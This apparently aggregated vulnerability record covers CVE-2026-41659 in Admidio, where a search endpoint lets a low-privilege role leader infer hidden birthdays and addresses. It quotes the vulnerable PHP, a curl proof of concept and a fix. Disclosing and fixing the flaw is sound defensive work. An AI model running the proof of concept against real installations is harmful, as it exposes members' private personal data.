{"id":"CVE-2026-41659","aliases":["EUVD-2026-28270","GHSA-68pr-7prh-mpv4"],"status":"published","title":"Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment","description":"Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.","severity":{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00258,"percentile":0.17647,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2026-04-29T21:47:29Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"Packagist","package":"admidio/admidio","fixed_in":["5.0.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.8"},{"fixed":"5.0.9"}]}]},{"source":"osv","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.9"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8"]}],"products":[{"vendor":"admidio","product":"admidio"}],"references":[{"url":"https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41659","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-68pr-7prh-mpv4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41659.json","tags":["advisory"]},{"url":"https://github.com/Admidio/admidio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-41659","title":"Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment","description":"Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.","status":"published","published":"2026-05-07T02:59:19.87Z","modified":"2026-05-07T13:44:42.872Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-28270","description":"Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.","status":"published","published":"2026-05-07T02:59:19Z","modified":"2026-05-07T13:44:42Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"updated_at":"2026-11-02T19:05:15.366699Z"}],"ghsa":[{"id":"GHSA-68pr-7prh-mpv4","title":"Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment","description":"## Summary\n\nThe member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.\n\n## Details\n\nThe search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n    'COALESCE(birthday, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(street, \\' \\')',      // hidden field - no visibility check\n    'COALESCE(city, \\' \\')',        // hidden field - no visibility check\n    'COALESCE(zip_code, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(country, \\' \\')'      // hidden field - no visibility check\n);\n```\n\nThese columns are concatenated into a SQL LIKE search at line 139:\n\n```php\n$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\\'%\\', ' . $searchValue . ', \\'%\\')) ';\n```\n\nThe SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262:\n\n```php\n$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...\n      FROM (' . $mainSql . ') AS members\n       ' . $searchCondition . $orderCondition . $limitCondition;\n```\n\nThe output visibility checks at lines 291-335 correctly call `$gProfileFields-\u003eisVisible('BIRTHDAY', $gCurrentUser-\u003eisAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.\n\nThe authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights\n# - BIRTHDAY field is configured as hidden (usf_hidden = 1)\n# - Target role has a known UUID\n\n# Step 1: Baseline - get all members without search filter\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D='\n\n# Response: returns all users. Birthday column is NOT in output (hidden).\n# Note recordsFiltered count.\n\n# Step 2: Search for a specific birthday value\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=1990-03-15'\n\n# Response: only users whose hidden birthday matches \"1990-03-15\" appear.\n# Birthday column is still NOT in output, but result set is filtered by it.\n# User names (always visible) reveal which users have that birthday.\n\n# Step 3: Enumerate hidden street addresses\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=123+Main+St'\n\n# Response: only users living at \"123 Main St\" appear in results.\n# Address fields are hidden in output but the search matched against them.\n```\n\n## Impact\n\nA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:\n\n- **Birthdays** — exact date of birth for any user\n- **Street addresses** — full street address\n- **Cities and postal codes** — location information\n- **Countries** — nationality/residence\n\nThis is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.\n\n## Recommended Fix\n\nFilter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n);\n\n$isAdmin = $gCurrentUser-\u003eisAdministratorUsers();\nif ($gProfileFields-\u003eisVisible('BIRTHDAY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(birthday, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('STREET', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(street, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('CITY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(city, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('POSTCODE', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(zip_code, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('COUNTRY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(country, \\' \\')';\n}\n```\n\nThis ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.","status":"published","published":"2026-04-29T21:47:29Z","modified":"2026-05-08T20:13:49Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:40:04.762828Z"}],"nvd":[{"id":"CVE-2026-41659","description":"Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.","status":"published","published":"2026-05-07T04:16:29.567Z","modified":"2026-06-17T10:46:57.467Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:17.842772Z"}],"osv":[{"id":"CVE-2026-41659","title":"Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment","description":"Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.","status":"published","published":"2026-05-07T02:59:19.87Z","modified":"2026-10-28T02:30:23.754714997Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"GHSA-68pr-7prh-mpv4","title":"Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment","description":"## Summary\n\nThe member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.\n\n## Details\n\nThe search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n    'COALESCE(birthday, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(street, \\' \\')',      // hidden field - no visibility check\n    'COALESCE(city, \\' \\')',        // hidden field - no visibility check\n    'COALESCE(zip_code, \\' \\')',    // hidden field - no visibility check\n    'COALESCE(country, \\' \\')'      // hidden field - no visibility check\n);\n```\n\nThese columns are concatenated into a SQL LIKE search at line 139:\n\n```php\n$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\\'%\\', ' . $searchValue . ', \\'%\\')) ';\n```\n\nThe SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262:\n\n```php\n$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...\n      FROM (' . $mainSql . ') AS members\n       ' . $searchCondition . $orderCondition . $limitCondition;\n```\n\nThe output visibility checks at lines 291-335 correctly call `$gProfileFields-\u003eisVisible('BIRTHDAY', $gCurrentUser-\u003eisAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.\n\nThe authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields — but the search still operates on them.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights\n# - BIRTHDAY field is configured as hidden (usf_hidden = 1)\n# - Target role has a known UUID\n\n# Step 1: Baseline - get all members without search filter\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D='\n\n# Response: returns all users. Birthday column is NOT in output (hidden).\n# Note recordsFiltered count.\n\n# Step 2: Search for a specific birthday value\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=1990-03-15'\n\n# Response: only users whose hidden birthday matches \"1990-03-15\" appear.\n# Birthday column is still NOT in output, but result set is filtered by it.\n# User names (always visible) reveal which users have that birthday.\n\n# Step 3: Enumerate hidden street addresses\ncurl -b 'PHPSESSID=\u003csession\u003e' \\\n  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=123+Main+St'\n\n# Response: only users living at \"123 Main St\" appear in results.\n# Address fields are hidden in output but the search matched against them.\n```\n\n## Impact\n\nA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:\n\n- **Birthdays** — exact date of birth for any user\n- **Street addresses** — full street address\n- **Cities and postal codes** — location information\n- **Countries** — nationality/residence\n\nThis is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.\n\n## Recommended Fix\n\nFilter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:\n\n```php\n$searchColumns = array(\n    'COALESCE(last_name, \\' \\')',\n    'COALESCE(first_name, \\' \\')',\n);\n\n$isAdmin = $gCurrentUser-\u003eisAdministratorUsers();\nif ($gProfileFields-\u003eisVisible('BIRTHDAY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(birthday, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('STREET', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(street, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('CITY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(city, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('POSTCODE', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(zip_code, \\' \\')';\n}\nif ($gProfileFields-\u003eisVisible('COUNTRY', $isAdmin)) {\n    $searchColumns[] = 'COALESCE(country, \\' \\')';\n}\n```\n\nThis ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.","status":"published","published":"2026-04-29T21:47:29Z","modified":"2026-05-08T20:32:36.746129Z","cvss":[{"version":"3.1","score":2.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","level":"low"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}